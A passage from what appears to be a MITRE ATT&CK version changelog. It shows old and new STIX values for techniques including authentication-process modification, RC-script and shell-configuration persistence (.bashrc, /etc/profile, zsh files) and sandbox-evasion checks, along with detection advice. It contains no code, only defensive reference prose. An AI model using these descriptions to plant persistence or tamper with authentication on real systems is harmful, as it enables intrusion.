| > | by mechanisms, such as the Local Security Authentication Ser | > | by mechanisms, such as the Local Security Authentication Ser | ||
| > | ver (LSASS) process and the Security Accounts Manager (SAM) | > | ver (LSASS) process and the Security Accounts Manager (SAM) | ||
| > | on Windows or pluggable authentication modules (PAM) on Unix | > | on Windows, pluggable authentication modules (PAM) on Unix-b | ||
| > | -based systems, responsible for gathering, storing, and vali | > | ased systems, and authorization plugins on MacOS systems, re | ||
| > | dating credentials. Adversaries may maliciously modify a p | > | sponsible for gathering, storing, and validating credentials | ||
| > | art of this process to either reveal credentials or bypass a | > | . By modifying an authentication process, an adversary may b | ||
| > | uthentication mechanisms. Compromised credentials or access | > | e able to authenticate to a service or system without using | ||
| > | may be used to bypass access controls placed on various reso | > | [Valid Accounts](https://attack.mitre.org/techniques/T1078). | ||
| > | urces on systems within the network and may even be used for | > | Adversaries may maliciously modify a part of this process | ||
| > | persistent access to remote systems and externally availabl | > | to either reveal credentials or bypass authentication mechan | ||
| > | e services, such as VPNs, Outlook Web Access and remote desk | > | isms. Compromised credentials or access may be used to bypas | ||
| > | top. | > | s access controls placed on various resources on systems wit | ||
| > | hin the network and may even be used for persistent access t | ||||
| > | o remote systems and externally available services, such as | ||||
| > | VPNs, Outlook Web Access and remote desktop. | ||||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Chris Ross @xorrior'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 02:41:11.743000+00:00 | 2021-04-26 20:08:31.712000+00:00 |
| description | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows or pluggable authentication modules (PAM) on Unix-based systems, responsible for gathering, storing, and validating credentials. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. |
| external_references[3]['source_name'] | TechNet Audit Policy | Xorrior Authorization Plugins |
| external_references[3]['description'] | Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. | Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021. |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/library/dn487457.aspx | https://xorrior.com/persistent-credential-theft/ |
| x_mitre_data_sources[0] | File monitoring | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Authentication logs | Process: OS API Execution |
| x_mitre_data_sources[2] | API monitoring | Process: Process Access |
| x_mitre_data_sources[3] | Windows Registry | File: File Modification |
| x_mitre_data_sources[4] | Process monitoring | File: File Creation |
| x_mitre_data_sources[5] | DLL monitoring | Module: Module Load |
| x_mitre_detection | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| external_references | {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'} | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 02:41:11.550000+00:00 | 2021-04-20 20:11:00.356000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 20:59:05.209000+00:00 | 2021-04-20 20:11:55.147000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | DLL monitoring | Module: Module Load |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-13 21:23:01.370000+00:00 | 2021-04-20 20:12:34.422000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | File: File Modification |
| x_mitre_data_sources[1] | File monitoring | Logon Session: Logon Session Creation |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use rc.common automatically executed at boot | t | 1 | Adversaries may establish persistence by modifying RC script |
| > | initialization to establish persistence. During the boot pr | > | s which are executed during a Unix-like system’s startup. Th | ||
| > | ocess, macOS executes <code>source /etc/rc.common</code>, wh | > | ese files allow system administrators to map and start custo | ||
| > | ich is a shell script containing various utility functions. | > | m services at startup for different run levels. RC scripts r | ||
| > | This file also defines routines for processing command-line | > | equire root privileges to modify. Adversaries can establish | ||
| > | arguments and for gathering system settings and is thus reco | > | persistence by adding a malicious binary path or shell comm | ||
| > | mmended to include in the start of Startup Item Scripts (Cit | > | ands to <code>rc.local</code>, <code>rc.common</code>, and o | ||
| > | ation: Startup Items). In macOS and OS X, this is now a depr | > | ther RC scripts specific to the Unix-like distribution.(Cita | ||
| > | ecated mechanism in favor of [Launch Agent](https://attack.m | > | tion: IranThreats Kittens Dec 2017)(Citation: Intezer Hidden | ||
| > | itre.org/techniques/T1543/001) and [Launch Daemon](https://a | > | Wasp Map 2019) Upon reboot, the system executes the script's | ||
| > | ttack.mitre.org/techniques/T1543/004) but is currently still | > | contents as root, resulting in persistence. Adversary abus | ||
| > | used. Adversaries can use the rc.common file as a way to h | > | e of RC scripts is especially effective for lightweight Unix | ||
| > | ide code for persistence that will execute on each reboot as | > | -like distributions using the root user as default, such as | ||
| > | the root user. (Citation: Methods of Mac Malware Persistenc | > | IoT or embedded systems.(Citation: intezer-kaiji-malware) S | ||
| > | e) | > | everal Unix-like systems have moved to Systemd and deprecate | ||
| > | d the use of RC scripts. This is now a deprecated mechanism | ||||
| > | in macOS in favor of [Launchd](https://attack.mitre.org/tech | ||||
| > | niques/T1053/004). (Citation: Apple Developer Doco Archive L | ||||
| > | aunchd)(Citation: Startup Items) This technique can be used | ||||
| > | on Mac OS X Panther v10.3 and earlier versions which still e | ||||
| > | xecute the RC scripts.(Citation: Methods of Mac Malware Pers | ||||
| > | istence) To maintain backwards compatibility some systems, s | ||||
| > | uch as Ubuntu, will execute the RC scripts if they exist wit | ||||
| > | h the correct file permissions.(Citation: Ubuntu Manpage sys | ||||
| > | temd rc) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 23:46:20.433000+00:00 | 2021-04-27 19:58:01.927000+00:00 |
| name | Rc.common | RC Scripts |
| description | Adversaries may use rc.common automatically executed at boot initialization to establish persistence. During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated mechanism in favor of [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) but is currently still used.
Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user. (Citation: Methods of Mac Malware Persistence) | Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.
Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)
Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) |
| external_references[1]['source_name'] | Startup Items | IranThreats Kittens Dec 2017 |
| external_references[1]['description'] | Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. | Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020. |
| external_references[1]['url'] | https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html | https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/ |
| external_references[2]['source_name'] | Methods of Mac Malware Persistence | Intezer HiddenWasp Map 2019 |
| external_references[2]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019. |
| external_references[2]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_detection | The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior. | Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.
Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'intezer-kaiji-malware', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'} | |
| external_references | {'source_name': 'Apple Developer Doco Archive Launchd', 'description': 'Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'} | |
| external_references | {'source_name': 'Startup Items', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'} | |
| external_references | {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': 'Ubuntu Manpage systemd rc', 'description': 'Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.', 'url': 'http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | Linux |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various system checks to detect and a | t | 1 | Adversaries may employ various system checks to detect and a |
| > | void virtualization and analysis environments. This may incl | > | void virtualization and analysis environments. This may incl | ||
| > | ude changing behaviors based on the results of checks for th | > | ude changing behaviors based on the results of checks for th | ||
| > | e presence of artifacts indicative of a virtual machine envi | > | e presence of artifacts indicative of a virtual machine envi | ||
| > | ronment (VME) or sandbox. If the adversary detects a VME, th | > | ronment (VME) or sandbox. If the adversary detects a VME, th | ||
| > | ey may alter their malware to disengage from the victim or c | > | ey may alter their malware to disengage from the victim or c | ||
| > | onceal the core functions of the implant. They may also sear | > | onceal the core functions of the implant. They may also sear | ||
| > | ch for VME artifacts before dropping secondary or additional | > | ch for VME artifacts before dropping secondary or additional | ||
| > | payloads. Adversaries may use the information learned from | > | payloads. Adversaries may use the information learned from | ||
| > | [Virtualization/Sandbox Evasion](https://attack.mitre.org/te | > | [Virtualization/Sandbox Evasion](https://attack.mitre.org/te | ||
| > | chniques/T1497) during automated discovery to shape follow-o | > | chniques/T1497) during automated discovery to shape follow-o | ||
| > | n behaviors. Specific checks may will vary based on the ta | > | n behaviors. Specific checks will vary based on the target | ||
| > | rget and/or adversary, but may involve behaviors such as [Wi | > | and/or adversary, but may involve behaviors such as [Window | ||
| > | ndows Management Instrumentation](https://attack.mitre.org/t | > | s Management Instrumentation](https://attack.mitre.org/techn | ||
| > | echniques/T1047), [PowerShell](https://attack.mitre.org/tech | > | iques/T1047), [PowerShell](https://attack.mitre.org/techniqu | ||
| > | niques/T1059/001), [System Information Discovery](https://at | > | es/T1059/001), [System Information Discovery](https://attack | ||
| > | tack.mitre.org/techniques/T1082), and [Query Registry](https | > | .mitre.org/techniques/T1082), and [Query Registry](https://a | ||
| > | ://attack.mitre.org/techniques/T1012) to obtain system infor | > | ttack.mitre.org/techniques/T1012) to obtain system informati | ||
| > | mation and search for VME artifacts. Adversaries may search | > | on and search for VME artifacts. Adversaries may search for | ||
| > | for VME artifacts in memory, processes, file system, hardwar | > | VME artifacts in memory, processes, file system, hardware, a | ||
| > | e, and/or the Registry. Adversaries may use scripting to aut | > | nd/or the Registry. Adversaries may use scripting to automat | ||
| > | omate these checks into one script and then have the progra | > | e these checks into one script and then have the program ex | ||
| > | m exit if it determines the system to be a virtual environme | > | it if it determines the system to be a virtual environment. | ||
| > | nt. Checks could include generic system properties such as | > | Checks could include generic system properties such as hos | ||
| > | uptime and samples of network traffic. Adversaries may also | > | t/domain name and samples of network traffic. Adversaries ma | ||
| > | check the network adapters addresses, CPU core count, and a | > | y also check the network adapters addresses, CPU core count, | ||
| > | vailable memory/drive size. Other common checks may enumer | > | and available memory/drive size. Other common checks may | ||
| > | ate services running that are unique to these applications, | > | enumerate services running that are unique to these applicat | ||
| > | installed programs on the system, manufacturer/product field | > | ions, installed programs on the system, manufacturer/product | ||
| > | s for strings relating to virtual machine applications, and | > | fields for strings relating to virtual machine applications | ||
| > | VME-specific hardware/processor instructions.(Citation: McAf | > | , and VME-specific hardware/processor instructions.(Citation | ||
| > | ee Virtual Jan 2017) In applications like VMWare, adversarie | > | : McAfee Virtual Jan 2017) In applications like VMWare, adve | ||
| > | s can also use a special I/O port to send commands and recei | > | rsaries can also use a special I/O port to send commands and | ||
| > | ve output. Hardware checks, such as the presence of the f | > | receive output. Hardware checks, such as the presence of | ||
| > | an, temperature, and audio devices, could also be used to ga | > | the fan, temperature, and audio devices, could also be used | ||
| > | ther evidence that can be indicative a virtual environment. | > | to gather evidence that can be indicative a virtual environ | ||
| > | Adversaries may also query for specific readings from these | > | ment. Adversaries may also query for specific readings from | ||
| > | devices.(Citation: Unit 42 OilRig Sept 2018) | > | these devices.(Citation: Unit 42 OilRig Sept 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.514000+00:00 | 2021-04-21 15:16:10.604000+00:00 |
| description | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Specific checks may will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as uptime and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence through executing mali |
| > | content triggered by a user’s shell. <code>~/.bash_profile< | > | cious commands triggered by a user’s shell. User [Unix Shell | ||
| > | /code> and <code>~/.bashrc</code> are shell scripts that con | > | ](https://attack.mitre.org/techniques/T1059/004)s execute se | ||
| > | tain shell commands. These files are executed in a user's co | > | veral configuration scripts at different points throughout t | ||
| > | ntext when a new shell opens or when a user logs in so that | > | he session based on events. For example, when a user opens a | ||
| > | their environment is set correctly. <code>~/.bash_profile</ | > | command-line interface or remotely logs in (such as via SSH | ||
| > | code> is executed for login shells and <code>~/.bashrc</code | > | ) a login shell is initiated. The login shell executes scrip | ||
| > | > is executed for interactive non-login shells. This means t | > | ts from the system (<code>/etc</code>) and the user’s home d | ||
| > | hat when a user logs in (via username and password) to the c | > | irectory (<code>~/</code>) to configure the environment. All | ||
| > | onsole (either locally or remotely via something like SSH), | > | login shells on a system use /etc/profile when initiated. T | ||
| > | the <code>~/.bash_profile</code> script is executed before t | > | hese configuration scripts run at the permission level of th | ||
| > | he initial command prompt is returned to the user. After tha | > | eir directory and are often used to set environment variable | ||
| > | t, every time a new shell is opened, the <code>~/.bashrc</co | > | s, create aliases, and customize the user’s environment. Whe | ||
| > | de> script is executed. This allows users more fine-grained | > | n the shell exits or terminates, additional shell scripts ar | ||
| > | control over when they want certain commands executed. These | > | e executed to ensure the shell exits appropriately. Advers | ||
| > | shell scripts are meant to be written to by the local user | > | aries may attempt to establish persistence by inserting comm | ||
| > | to configure their own environment. The macOS Terminal.app | > | ands into scripts automatically executed by shells. Using ba | ||
| > | is a little different in that it runs a login shell by defau | > | sh as an example, the default shell for most GNU/Linux syste | ||
| > | lt each time a new terminal window is opened, thus calling < | > | ms, adversaries may add commands that launch malicious binar | ||
| > | code>~/.bash_profile</code> each time instead of <code>~/.ba | > | ies into the <code>/etc/profile</code> and <code>/etc/profil | ||
| > | shrc</code>. Adversaries may abuse these shell scripts by i | > | e.d</code> files.(Citation: intezer-kaiji-malware)(Citation: | ||
| > | nserting arbitrary shell commands that may be used to execut | > | bencane blog bashrc) These files typically require root per | ||
| > | e other binaries to gain persistence. Every time the user lo | > | missions to modify and are executed each time any shell on a | ||
| > | gs in or opens a new shell, the modified ~/.bash_profile and | > | system launches. For user level permissions, adversaries ca | ||
| > | /or ~/.bashrc scripts will be executed.(Citation: amnesia ma | > | n insert malicious commands into <code>~/.bash_profile</code | ||
| > | lware) | > | >, <code>~/.bash_login</code>, or <code>~/.profile</code> wh | ||
| > | ich are sourced when a user opens a command-line interface o | ||||
| > | r connects remotely.(Citation: anomali-rocke-tactics)(Citati | ||||
| > | on: Linux manual bash invocation) Since the system only exec | ||||
| > | utes the first existing file in the listed order, adversarie | ||||
| > | s have used <code>~/.bash_profile</code> to ensure execution | ||||
| > | . Adversaries have also leveraged the <code>~/.bashrc</code> | ||||
| > | file which is additionally executed if the connection is es | ||||
| > | tablished remotely or an additional interactive shell is ope | ||||
| > | ned, such as a new tab in the command-line interface.(Citati | ||||
| > | on: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anom | ||||
| > | ali-linux-rabbit)(Citation: Magento) Some malware targets th | ||||
| > | e termination of a program to trigger execution, adversaries | ||||
| > | can use the <code>~/.bash_logout</code> file to execute mal | ||||
| > | icious commands at the end of a session. For macOS, the fu | ||||
| > | nctionality of this technique is similar but may leverage zs | ||||
| > | h, the default shell for macOS 10.15+. When the Terminal.app | ||||
| > | is opened, the application launches a zsh login shell and a | ||||
| > | zsh interactive shell. The login shell configures the syste | ||||
| > | m environment using <code>/etc/profile</code>, <code>/etc/zs | ||||
| > | henv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlog | ||||
| > | in</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJ | ||||
| > | XA_leopitt)(Citation: code_persistence_zsh) The login shell | ||||
| > | then configures the user environment with <code>~/.zprofile< | ||||
| > | /code> and <code>~/.zlogin</code>. The interactive shell use | ||||
| > | s the <code>~/.zshrc</code> to configure the user environmen | ||||
| > | t. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlog | ||||
| > | out</code> are executed. For legacy programs, macOS executes | ||||
| > | <code>/etc/bashrc</code> on startup. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Robert Wilson', 'Tony Lambert, Red Canary'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:28:04.990000+00:00 | 2021-03-08 15:22:54.089000+00:00 |
| name | .bash_profile and .bashrc | Unix Shell Configuration Modification |
| description | Adversaries may establish persistence by executing malicious content triggered by a user’s shell. ~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly.
~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.
The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.
Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware) | Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.
For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup. |
| external_references[1]['source_name'] | amnesia malware | intezer-kaiji-malware |
